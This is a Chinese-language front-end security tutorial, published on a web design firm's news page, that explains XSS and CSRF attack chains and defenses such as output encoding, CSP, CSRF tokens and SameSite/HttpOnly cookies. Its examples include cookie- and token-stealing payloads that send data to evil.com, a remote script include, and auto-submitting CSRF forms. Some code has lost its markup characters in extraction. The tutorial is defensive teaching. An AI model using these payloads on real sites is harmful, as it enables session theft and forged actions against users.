资讯动态

前端安全实战:XSS与CSRF攻击链路及防御方案全解析

发布时间:2026/10/21 10:21:24 来源:尧图企业网站定制
做前端开发这些年XSS和CSRF这两个名字估计大家都不陌生面试题里常客安全报告里也时常出现。但说句实在话很多同学对它们的理解停留在知道有这回事的层面——能背出全称却说不出一条完整的攻击链路更别提在项目里真正落地防御了。这可能比不知道更危险因为安全意识不到位等于给攻击者留了一扇虚掩的门。这篇文章我想把自己在多个项目中实际排查、修复XSS与CSRF漏洞的经验整理出来从底层原理讲到攻击手法再到防御方案的完整落地。我不会只丢概念而是把每一步的实验过程、代码示例、踩过的坑都摊开给你看。无论你是刚入门的前端新人还是已经带项目的全栈开发者这套内容都值得收藏下来对照检查。1. 先搞懂这两兄弟XSS和CSRF到底在打什么主意1.1 XSS的本质让别人的浏览器执行你的代码XSS的全称是Cross-Site Scripting跨站脚本攻击。很多人第一次听到这个名字会困惑跨站脚本跟脚本有什么关系其实核心就一句话——攻击者把自己构造的恶意脚本注入到目标网页中当其他用户访问这个页面时浏览器就会执行这段脚本。用生活化的比喻来说这就像你在一家餐厅吃饭有人偷偷往菜单里塞了一张纸条纸条上写的不是菜名而是一句请把顾客钱包里的钱转给我。服务员不知情把菜单递给每一位客人客人一看纸条上的内容就照做了。纸条就是注入的脚本服务员就是浏览器客人就是受害者。XSS能做什么最典型的就是窃取Cookie拿到受害者的登录凭证后冒充身份操作账号其次是页面劫持篡改页面内容诱导用户输入敏感信息还有键盘记录监听用户输入从而获取密码、验证码甚至可以利用浏览器漏洞进一步植入后门。这些危害的共同点在于攻击者的代码跑在了受害者的浏览器环境里拥有和正常页面脚本一样的权限防线从内部被攻破了。1.2 CSRF的本质借别人的身份发你想要的请求CSRF全称是Cross-Site Request Forgery跨站请求伪造。它的思路和XSS完全不同——XSS是往你的页面里注入脚本而CSRF是诱导受害者的浏览器去发送一个攻击者构造好的请求让服务器误以为这个请求是用户本人发起的。再打个比方你在一家银行办业务柜员认识你每次你来办转账只要签个字就行。骗子在旁边观察了一会儿摸清了你的签名方式然后伪造了一张转账单。你的朋友拿着这张单子去柜台柜员一看签名确实像你的就照办了。在这里骗子伪造的转账单就是CSRF请求你的朋友就是浏览器柜员就是服务器——它只校验了签名Cookie却没有确认这个动作是不是本人真实意愿。CSRF最危险的地方在于它不需要拿到你的任何密码或凭证只需要让你的浏览器带着你的Cookie去访问一个特定接口就行。浏览器会自动附带Cookie这是Web协议的设计特性而CSRF攻击恰恰利用了这一点。所以在微博、邮箱、支付类站点这种攻击一旦得手轻则发垃圾信息重则转账、改密、删除数据。1.3 两者的关系一个打用户一个打服务器理解完两者的本质会发现它们的攻击路径正好交叉XSS直接打的是用户的浏览器CSRF打的是服务器对请求来源的信任机制。但两者又常常被放在一起讨论是因为它们可以串联利用——XSS可以窃取到CSRF防御所需的Token让CSRF攻击畅通无阻CSRF可以用用户的身份发起请求存储一个XSS payload把两种攻击的优点结合起来。实际开发中很多团队把它们当成安全必查项但又不做区分结果防御措施混着用比如给接口都加了CORS限制却忘了处理富文本内容或者花了大力气做XSS过滤而忽略了Cookie的SameSite配置。正确的做法是先分清攻击面XSS防御的重心在输出编码和内容安全策略CSRF防御的重心在请求来源校验和身份凭证绑定。搞清楚了这一点后面的防御方案才有针对性。2. XSS漏洞的三种形态与攻击链路拆解2.1 反射型XSS最经典的钓鱼式攻击反射型XSS也叫非持久型XSS恶意脚本没有存在服务器上而是藏在URL的参数里一次性反射回当前页面。整个攻击流程是这样的攻击者构造一个恶意URL比如在搜索接口的参数里塞入scriptalert(document.cookie)/script这样的代码。通过各种渠道诱导受害者点击这个URL可能是钓鱼邮件、聊天消息换了个短链总之要让受害者点进去。服务器收到参数后把这个值原样拼接进HTML页面返回给浏览器。浏览器解析HTML时发现这段脚本直接执行攻击完成。举一个最直观的代码例子假设我们的搜索页是这么写的p您搜索的关键词是% request.getParameter(keyword) %/p如果用户搜索hello页面显示您搜索的关键词是hello一切正常。但如果攻击者构造URL为https://your-site.com/search?keywordscriptdocument.locationhttps://evil.com/?cdocument.cookie/script服务器不加处理直接拼接输出受害者的Cookie就跟着跳转被发送到了攻击者的服务器。这类攻击的典型特征是一次性、需要诱导点击、大多出现在搜索框、错误页面、URL参数回显这些位置。我当年排查过一个小型的内容管理系统它的404页面会把访问的路径原样显示出来结果被用来拼接了一段钓鱼脚本专门打向运营人员的后台入口。修复方式后来讲。2.2 存储型XSS杀伤力最大的持久化攻击存储型XSS的攻击链和反射型最大的区别是恶意脚本被保存到了服务器端数据库、文件、缓存等之后任何用户访问包含这段内容的页面都会中招。反射型是一次性的、目标明确的狙击存储型是埋在水井里的投毒所有来喝水的人都遭殃。典型的场景是评论区、用户昵称、签名档、富文本编辑器的内容、博客文章的标题。攻击者在这些用户可控的输入位置提交一段脚本服务端只做了存储没有做输出过滤其他用户浏览页面时脚本就自动执行。举个非常常见的例子一个有留言板功能的网站留言内容直接存数据库并原样展示const comment req.body.comment; // img srcx onerroralert(document.cookie) db.save(comment); // 其他用户访问时 const comments db.getAllComments(); comments.forEach(c { document.getElementById(list).innerHTML li${c.content}/li; });这段代码里innerHTML直接把数据库里的内容当作HTML插入了。当某条留言是恶意构造的img onerror标签时浏览器加载失败触发onerror事件脚本立刻执行。如果攻击者提交的是script srchttps://evil.com/hook.js/script那所有看到这条留言的用户浏览器都会去加载攻击者的脚本危害范围就是全站所有访客。这就是为什么说存储型XSS是杀伤力最大的——量级完全不同反射型打一个人存储型打全体用户。而且存储型的payload还可能被搜索引擎收录长期存在于网页缓存中极难清除干净。2.3 DOM型XSS前端自己埋的雷DOM型XSS跟前两种有本质区别——它不依赖服务器返回的响应内容而是纯前端JavaScript在操作DOM的过程中把不可信数据当成了HTML的一部分。攻击路径完全发生在浏览器端服务器不参与拼接这个环节传统的服务端过滤方案对它无效这让很多没做过前端安全审查的人容易漏掉它。最常见的根因就是几个高危JS操作innerHTML、outerHTML把数据直接当作HTML解析。document.write()在页面解析阶段写入内容。eval()、new Function()把动态字符串当作代码执行。window.location跳转时拼接参数。postMessage跨窗口通信时对收到的数据不校验就插入页面。举一个我实际遇到过的案例。管理后台有个参数解析逻辑从URL的hash部分取出当前页面标识用innerHTML渲染一个面包屑导航const page location.hash.split(#/)[1]; document.getElementById(breadcrumb).innerHTML a href#当前页面${page}/a;这个逻辑本身是想实现前端路由的菜单高亮。但如果使用者把URL改成#/pagescriptfetch(https://evil.com/steal?datalocalStorage.getItem(token))/script那么page变量里就带了脚本插入DOM时脚本直接执行。整个过程中服务器返回的HTML是完全正常的所有拦截器、WAF都看不到这段恶意代码——它只存在于受害者的浏览器内存里。DOM型XSS排查起来也最麻烦因为问题出在大量前端代码里的某个赋值语句不像反射型那样可以从请求参数一路追踪。后面我会专门给一份自查清单。3. CSRF漏洞的攻击场景与复现实验3.1 CSRF攻击的三个前提条件CSRF要成功不是随便发个请求就行它需要同时满足几个前提条件。我们逐个拆解第一目标操作必须完全依赖Cookie或浏览器自动携带的凭证来鉴权。这是CSRF的根本——服务器认的是Cookie不校验请求的来源。如果接口走的是自定义Header比如Authorization: Bearer xxx且Token存在内存或localStorage里攻击者没法让浏览器自动带上这个HeaderCSRF基本就废了。第二受害者必须处于已登录状态而且目标网站的Cookie在浏览器里仍然有效。所以CSRF攻击者通常会挑用户长时间挂着登录态的站点下手比如企业内部系统、邮箱、社交平台。第三攻击者必须知道目标请求的完整参数格式。GET接口的参数暴露在URL里最好构造POST接口如果参数是简单的键值对用表单就能伪造但如果接口要求JSON格式且带特定标识字段攻击难度就会上升。这也是为什么开发规范里有一条很朴素的建议修改类操作尽量不要用GET接口能不上就上。GET请求本身就是为获取数据设计的把状态变更、数据删除这类操作放在GET上等于主动给了CSRF攻击一条高速路。3.2 典型攻击场景图片标签与自动提交表单CSRF攻击最古老的姿势是用img标签我把它作为第一个实验讲。假设受害者登录了一个博客平台平台上有个/logout的退出接口用的是GET。攻击者构造这样一个页面img srchttps://blog-site.com/logout styledisplay:none受害者只要访问了这个攻击者的页面浏览器就会向https://blog-site.com/logout发起一个GET请求自动带上该域名的Cookie用户就这样被强制退出了。退出算轻的如果接口是/user/delete或者/transfer?toattackeramount1000后果直接就升级了。POST类型接口也没安全到哪去攻击者可以用一个自动提交的隐藏表单来复现form actionhttps://blog-site.com/user/profile methodPOST idevil input typehidden nameemail valueattackerevil.com input typehidden nameid value10086 /form script document.getElementById(evil).submit(); /script浏览器加载页面后表单自动提交受害者在不知道自己干了什么的情况下邮箱就被人改了。这种攻击页面可以放在任何域名的服务器上完全没有跨域限制——表单提交和图片加载天然允许跨域这就是CSRF防不胜防的原因。我在一次安全自测中复现过整个流程搭建了一个最简单的博客系统没有做任何CSRF防护然后用另一个域名模拟攻击者站点放一个自动提交的表单在不觉醒的情况下提交了修改密码的请求结果真的成功了。那一刻你才能真切感受到这个漏洞有多安静——整个过程受害者这边没有任何弹窗、没有任何提示只有后台日志里多了一行记录。3.3 CSRF与XSS联合作战的危害放大单独看CSRF它的限制是不能窃取数据——攻击者虽然能指挥受害者的浏览器发请求但响应内容受害者看到后攻击者拿不到。然而一旦和XSS结合这个限制就被完全绕开了。举个例子。一个网站既有XSS漏洞又有CSRF漏洞。攻击者先用存储型XSS在页面上植入一段脚本这段脚本里悄悄发起一个CSRF请求去修改受害者的收货地址然后再用CSRF请求去下一笔订单。整个过程完全自动化受害者甚至察觉不到。更可怕的是XSS脚本还能读取页面上的CSRF Token——现在的框架普遍会给表单生成Token但Token如果存在页面源码或Cookie里XSS执行时就能把它偷走CSRF防御瞬间失效。所以有一句安全圈的老话是这么说的XSS是CSRF的加速器CSRF是XSS的放大器。防御的时候必须把两者当成一个整体来看单独防哪一个都防不住组合拳。这也是我在实际项目中始终坚持前端安全必须整体评估的原因——修好XSS漏洞CSRF的防御纵深也跟着变厚了。4. 防御方案全落地从前端到后端的一整套配置4.1 XSS防御输出编码、输入校验与CSP三管齐下XSS的防御不是靠某一个神奇函数搞定的而是一整套纵深防御。我按优先级排一下核心是输出编码其次是输入校验兜底是CSP。输出编码是首选防线。所谓编码就是把用户可控的数据在输出到HTML上下文时转义成纯文本形式,让浏览器不把它当代码解析。不同的上下文要用的编码方式不同HTML标签内容如div用户数据/div需要转义 。HTML属性值如input value用户数据需要额外转义引号。JavaScript字符串上下文需要转义引号和换行符。URL属性如a href用户数据需要做URL编码还要校验协议白名单。实际项目里前端框架通常自带转义机制——比如React的JSX默认会对渲染内容转义Vue的插值语法{{ data }}也会转义。但要注意的是v-html和dangerouslySetInnerHTML这两个逃生舱会绕开默认转义用它们插入的内容必须自己保证安全性。我自己定的规矩是非必要不使用必须使用时数据一定要经过严格的白名单过滤。输入校验是第二道屏障。虽然纯前端校验可以被绕过但作为纵深防御的一环仍然有意义。做法包括富文本内容用白名单标签和属性做过滤比如只允许strong、em、a不允许script、on*事件属性按字段类型校验邮箱必须是邮箱格式、手机号必须是数字长度长度限制防止超长payload。这里要提醒一句输入校验不能替代输出编码两者是互补关系不是替代关系。CSP是兜底防线。Content-Security-Policy可以限制页面加载资源的来源、是否允许内联脚本、是否允许eval等。一个严格一点的CSP配置长这样Content-Security-Policy: default-src self; script-src self https://cdn.example.com; object-src none; base-uri none这条策略的意思是脚本只能从本站和指定的CDN加载不允许内联脚本不允许插件加载。一旦XSS成功注入了一段内联脚本CSP会让浏览器直接拒绝执行攻击链就断了。虽然内容安全策略配置起来有点繁琐偶尔会因为CDN地址没加对导致页面功能报错但它是防XSS的最后一道保险值得花时间调好。4.2 CSRF防御Token机制、SameSite与双重提交CSRF防御的思路就一句话让服务器能够判断这个请求真的来自本站在用用户。业界最常用的就是CSRF Token机制:用户访问页面时服务器生成一个随机的Token放进页面表单的隐藏域同时存在服务端Session里。用户提交表单时Token一起提交过来。服务端校验提交的Token和Session里的Token是否一致一致才放行。这个方案为什么有效因为攻击者构造的跨站请求里是拿不到那个藏在表单里的Token的——同源策略保护了这一点。之前提到的XSS能偷Token是同一个站内的攻击不属于CSRF本身的防御范围。Token机制落地时有一个坑要特别提醒Token不能只用GET参数传递。如果Token出现在URL里会随着浏览器历史记录、日志系统、HTTP Referer泄露出去。正确姿势是放在POST请求体里或者放在自定义Header里。SameSite Cookie属性是现代浏览器给我们的一把新武器。Cookie设置SameSiteLax或SameSiteStrict之后浏览器在跨站请求时就不会自动附带这个Cookie。Lax模式保留了一部分兼容性顶级导航的GET请求会带Strict模式则完全不发送。对于支付、改密这类敏感操作我是强烈建议用Strict的Set-Cookie: sessionidxxx; SameSiteStrict; HttpOnly; Secure不过SameSite也有局限——老版本浏览器不支持且它防的是跨站请求同站内子域之间的请求它管不了。所以稳妥的做法是Token机制加SameSite属性同时开双保险才是合理的纵深防御。双重提交Cookie是另一种实用方案客户端生成一个随机Token同时放在Cookie和请求参数里服务端只比较这两个值是否一致。这个方案的优点是不需要服务端存储Session状态适合接口较多的分布式系统。缺点是对同一个子域下的其他漏洞比如子域名XSS防御力有限。4.3 Cookie安全配置与HttpOnly的实战意义说Cookie配置必须单独提是因为很多前端同学以为Cookie安全是后端的事,其实前后端都有责任。我在代码审查中见过太多问题Cookie没设HttpOnly、没设Secure、domain设置过宽、path设置成/导致全站接口都能带。HttpOnly属性的作用是浏览器禁止JavaScript读取这个Cookie。设置之后document.cookie里就看不到它了XSS窃取Cookie这条攻击路径就被堵住了。敏感会话Cookie必须加HttpOnly这是最基础的底线。Secure属性要求Cookie只能在HTTPS连接中传输防止中间人攻击劫持Cookie。部署了HTTPS的站点一定要加上否则等于白接HTTPS。Domain属性不要设置太宽默认只发给当前域即可。Path属性同理尽量限制到特定路径。Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLax; Max-Age3600这行配置基本是我在项目里的标准模板。结合了HttpOnly防止XSS偷Cookie、Secure保证HTTPS传输、SameSite增加对CSRF的防御、Max-Age限制有效期每一层都有明确的防护目标没有一个是摆设。5. 实战中踩过的坑与排查经验5.1 常见误区和无效防御开发中我见过不少以为在防XSS/CSRF实际等于裸奔的操作挑几个最典型的说说。误区一只过滤不编码。有人在服务端做了一层全局的strip_tags或者删除script标签就以为防御到位了。但攻击者可以换一种payload绕过比如scrscriptipt这样的嵌套写法会被过滤成script反而画蛇添足或者用svg onload...、img srcx onerror...这些你没过滤到的标签变体。黑名单方式永远有漏网之鱼正确做法是输出端编码加白名单校验。误区二对POST接口做了CSRF检查GET接口不管。这个误区在不少老项目里很常见。攻击者构造CSRF攻击时完全可以走GET接口发起请求GET不需要表单跨域提交限制一个img标签就够了。所以状态变更类操作必须统一做CSRF校验不能因为方法不同就区别对待。误区三以为跨域CORS配置了白名单就等于防了CSRF。这是观念上的混淆。CORS是浏览器层面的跨域访问控制它限制的是——JavaScript能不能跨域读取响应。而CSRF攻击用的是表单提交和图片加载这些天然允许跨域根本不走CORS策略。哪怕你的CORS配置成Access-Control-Allow-Origin: nullCSRF还是能打。误区四Token存Cookie里同时又没设HttpOnly。这种情况下Token和Session Cookie都在JavaScript可以读取的地方一个XSS直接全部偷走CSRF和XSS的防线一起崩塌。Token的正确归属是要么存在服务端Session要么放在请求Header里绝对不要让前端JS能随心所欲地拿到所有令牌。5.2 安全测试的简易自查清单排查漏洞时我习惯用一张清单快速过一遍工作效率提升特别明显。这里把它整理出来你可以直接照着检查自己的项目检查项操作方式判定标准反射型XSS在搜索框、路径参数里输入scriptalert(1)/script页面弹出alert即存在漏洞存储型XSS在留言、昵称、富文本里提交img srcx onerroralert(1)其他用户页面弹出alert即存在漏洞DOM型XSS修改URL的hash/query后刷新URL参数被插入DOM且执行脚本即存在漏洞CSRFGET用img标签模拟请求删除/退出接口请求成功且Cookie被携带即存在漏洞CSRFPOST用自动提交表单模拟请求请求成功但服务端无Token校验即存在漏洞Cookie安全浏览器控制台执行document.cookie能看到会话Cookie即缺失HttpOnly输出编码在表单输入bbold/b提交后查看DOM显示为纯文本而非加粗即编码正常这张表不用每次都全量跑重点关注新上线的模块、用户输入入口多的地方。我通常在功能提测阶段就做一轮越早发现问题越好修等上线被扫出来就是事故了。5.3 我的个人实践体会做了这么多年项目说几条实实在在的体会。第一条安全是设计进来的不是补丁打上去的。新项目动手写第一行代码前就要把输入输出的规范定好后端统一封装输出编码工具前端禁用危险的DOM操作方法Cookie配置写进脚手架模板。等代码写完了再查漏洞改成本高好几倍。我改造过一个老项目几万行代码里各种innerHTML直插、接口裸奔花了两周多才全部收敛如果一开始就做好这些都是小事。第二条别小看任何一个小功能点。下载导出功能看着无害但如果文件名拼接了用户输入可能就出一个反射型XSS分享链接功能看着简单如果参数没校验可能就是CSRF攻击的入口。攻击者从来不会挑大功能下手他们找的是那些没人关注的角落。第三条用工具辅助但不要迷信工具输出。自动化扫描器可以帮你找到一部分问题但它经常给出误报和漏报。搭建在本地跑一跑可以真的上线前还是得人工过一遍核心流程。我记得有次扫描器提示某接口有CSRF风险人工复核后发现它其实有了Token校验只是扫描器没有模拟完整流程。反向的例子也有扫描器完全没报的一个DOM型XSS是人工看代码的时候发现的。所以自动化扫描加人工代码审查两手都要抓。最后分享一个实战里特别好用的调试技巧在浏览器控制台里输入document.cookie看看能看到什么输入localStorage翻翻敏感数据然后到代码里搜一下innerHTML、eval、v-html这几个关键词发现问题就顺着调用链往上一路追。前端安全说穿了就是数据从哪里来、到哪里去、中间经过了哪些危险的加工把这条链路捋清楚了漏洞自然无处藏身。希望你也能用这套思路把自己负责的每一个项目都过一遍你会发现很多潜在风险比你想象中离得更近。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑